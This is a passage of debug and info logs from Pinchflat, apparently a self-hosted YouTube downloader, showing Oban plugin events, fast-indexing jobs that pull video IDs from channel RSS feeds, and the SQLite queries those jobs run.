JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:37:13.176 [debug] Replied in 218µs 17:37:27.306 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:57.307 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.804 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:38:27.308 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:57.310 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.805 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:39:27.311 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:57.312 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.806 [info] {"source":"oban","duration":106,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:40:27.313 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:57.314 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.807 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:41:03.130 [info] {"args":{"id":2},"id":727,"meta":{},"system_time":1784914863130592996,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:41:03.132 [debug] QUERY OK source="sources" db=1.9ms idle=130.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:41:03.132 [debug] QUERY OK source="tasks" db=2.0ms idle=131.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:41:03.134 [debug] QUERY OK source="settings" db=1.7ms idle=133.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:03.134 [debug] QUERY OK source="sources" db=1.8ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:41:03.135 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:03.135 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:03.135 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 17:41:03.407 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 17:41:03.407 [debug] QUERY OK source="media_items" db=0.2ms idle=274.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 17:41:03.408 [debug] QUERY OK source="media_items" db=0.2ms idle=272.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:41:03.408 [debug] QUERY OK source="tasks" db=0.0ms idle=273.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [730, 2, ~U[2026-07-24 17:41:03Z], ~U[2026-07-24 17:41:03Z]] 17:41:03.408 [info] {"args":{"id":2},"id":727,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":278131,"event":"job:stop","queue_time":495119,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:41:03.409 [debug] QUERY OK source="tasks" db=0.1ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:41:13.140 [info] {"args":{"id":1},"id":728,"meta":{},"system_time":1784914873140178075,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:41:13.140 [debug] QUERY OK source="sources" db=0.1ms idle=140.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:41:13.140 [debug] QUERY OK source="settings" db=0.0ms idle=140.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:13.140 [debug] QUERY OK source="tasks" db=0.2ms idle=140.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:41:13.140 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:13.140 [debug] QUERY OK source="sources" db=0.1ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:41:13.141 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:13.141 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 17:41:13.337 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 17:41:13.337 [debug] QUERY OK source="media_items" db=0.3ms idle=196.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 17:41:13.340 [debug] QUERY OK source="media_items" db=2.1ms idle=197.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:41:13.340 [debug] QUERY OK source="tasks" db=0.0ms idle=199.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [731, 1, ~U[2026-07-24 17:41:13Z], ~U[2026-07-24 17:41:13Z]] 17:41:13.340 [info] {"args":{"id":1},"id":728,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":200546,"event":"job:stop","queue_time":576676,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:41:13.341 [debug] QUERY OK source="tasks" db=0.2ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:41:27.315 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:28.155 [info] {"args":{"id":3},"id":729,"meta":{},"system_time":1784914888155176232,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:41:28.155 [debug] QUERY OK source="sources" db=0.1ms idle=1155.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:41:28.155 [debug] QUERY OK source="tasks" db=0.3ms idle=1007.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:41:28.155 [debug] QUERY OK source="settings" db=0.1ms idle=840.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:28.155 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:41:28.156 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:28.156 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:28.156 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 17:41:28.356 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 17:41:28.357 [debug] QUERY OK source="media_items" db=0.3ms idle=201.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 17:41:28.359 [debug] QUERY OK source="media_items" db=2.0ms idle=201.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:41:28.360 [debug] QUERY OK source="tasks" db=0.0ms idle=204.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [732, 3, ~U[2026-07-24 17:41:28Z], ~U[2026-07-24 17:41:28Z]] 17:41:28.360 [info] {"args":{"id":3},"id":729,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":205239,"event":"job:stop","queue_time":594769,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:41:28.360 [debug] QUERY OK source="tasks" db=0.2ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:41:57.316 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.808 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:42:27.317 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:57.318 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.809 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:43:27.319 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:57.320 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.810 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:44:27.321 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:57.322 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.811 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:45:27.323 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:57.324 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.812 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:46:27.325 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:57.326 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.812 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:47:27.327 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:57.328 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.814 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:48:27.329 [info] 